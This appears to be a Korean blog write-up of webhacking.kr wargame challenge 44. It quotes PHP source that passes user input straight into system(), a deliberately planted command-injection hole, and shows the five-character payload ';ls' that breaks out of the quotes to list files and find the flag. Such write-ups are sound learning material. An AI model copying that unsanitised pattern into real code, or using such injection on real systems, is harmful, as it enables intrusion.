본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 44번

메인화면

<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>

소스코드

 

ls를 실행시키면 됨

입력한 값을 system함수로 넘겨

echo 'hello! 입력 값' 

입력 값은 첫째문자부터 5번째 문자까지

5개로 한정

실행

 

bbq입력

bbq를 입력하면 이미지처럼

hello! bbq 라고 뜸

 

https://www.opentutorials.org/module/2538/15818

 

연속적으로 명령 실행시키기 (;과 &와 &&의 차이) - 리눅스 수업

CLI의 가치 명령을 통해서 컴퓨터를 제어하는 중요한 이유 중의 하나는 해야 할 일을 순서대로 배치해서 자동화된 처리를 할 수 있다는 점입니다. 정확한 작업을 위해서는 명령어와 명령어를 연결하는 구분자를 잘 이해하셔야 합니다. 언어로치면 접속사와 같은 역할을 하는 것입니다. 여기서는 이 접속사들을 정리해봅니다.  결론 ; - 앞의 명령어가 실패해도 다음 명령어가 실행 && - 앞의 명령어가 성공했을 때 다음 명령어가 실행 & - 앞의 명령어를 백그라운드로

www.opentutorials.org

일단 싱글쿼터를 닫아주고

뒤의 싱글쿼터 짝도 맞춰줌

echo 'hello!';ls''

';ls'

딱 5자

이렇게 되게 해줌

 

ls실행 결과

앞의 hello!는 echo명령어에 의해 실행된거고

ls명령어로 나온

flag_29cbb98dafb4e471117fec409148e9386753569e

index.php

이렇게 2개가 있음

바로 flag인줄 알았는데

index.php로 봐서 저 flag는 페이지인거같음

 

클리어

해당 페이지에 실제 flag가 있음

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 54번  (0) 2020.01.28
Webhacking.kr 43번  (0) 2020.01.28
Webhacking.kr 41번  (0) 2020.01.24
Webhacking.kr 39번  (0) 2020.01.24
Webhacking.kr 36번  (0) 2020.01.24